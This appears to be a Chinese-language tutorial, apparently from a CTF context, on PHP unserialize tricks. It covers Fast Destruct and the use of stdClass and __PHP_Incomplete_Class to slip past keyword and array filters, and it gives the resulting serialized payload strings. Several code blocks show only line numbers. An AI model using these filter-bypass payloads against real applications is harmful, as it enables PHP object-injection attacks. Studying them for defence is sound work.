Fast Destruct
Fast Destruct一般通过破坏序列化字符串的结构来实现,payload如下
1 | $payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}'; |
Fast Destruct与正常反序列化的区别
- 正常反序列化
1 |
|
可以看到会先对B类进行一个__wakeup
然后A__destruct
,然后是对B类的一些操作
- Fast Destruct
1 | unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{};}'); |
可以看到__wakeup
被放到后面执行了,也就是__destruct()
函数被提前执行了
stdClass和__PHP_Incomplete_Class
stdClass和__PHP_Incomplete_Class简介
所有的类都是stdClass
类的子类,stdClass
是所有类的基类
1 | php > var_dump(unserialize('a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:4:"Test":1:{s:3:"abc";N;}}')); |
反序列化的时候找不到Test类,因此会将这些类都归到__PHP_Incomplete_Class
类中
$__PHP_Incomplete_Class_Name
变量对应要反序列化的类名- 附带其他变量
__PHP_Incomplete_Class特性
如果不指定__PHP_Incomplete_Class_Name
的话,那么__PHP_Incomplete_Class
类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字
例子
1 |
|
简单来说这里有几个过滤的点
- waf1检查是否有classes关键字,由于这里调用的是文件名,所以大写S,然后使用十六进制的做法不通
- waf2过滤了数组,不能用数组的方式调用其他文件的类,检测反序列化后的对象是否正确,意味着不能用fast destruct的方法破坏结构
来一一绕过
classes关键字可以通过上面讲的
__PHP_Incomplete_Class
去掉__PHP_Incomplete_Class_Name
变量来绕过,这样可以反序列化类再序列化类之后把关键字classes去掉1
O:22:"__PHP_Incomplete_Class":1:{s:1:"s";s:7:"classes";}
数组过滤可以使用stdClass类替代
1
s:8:"stdClass":0:{}
结合起来就是
1
O:8:"stdClass":2:{s:1:"a";O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}s:1:"b";O:4:"Test":0:{}}
如果数组没有过滤可以写成如下形式
1
a:2:{s:1:"a";O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}s:1:"b";O:4:"Test":0:{}}
- 注意数组的键一定是字符类型,不能是数字,比如这里就是”a”和”b”
因为
php
对大小写不敏感,所以Test
也可以是test
或其他
需要注意的是如果题目存在多个class的引入,只需要在最外层引入__PHP_Incomplete_Class,因为最先反序列化的是最外层类对象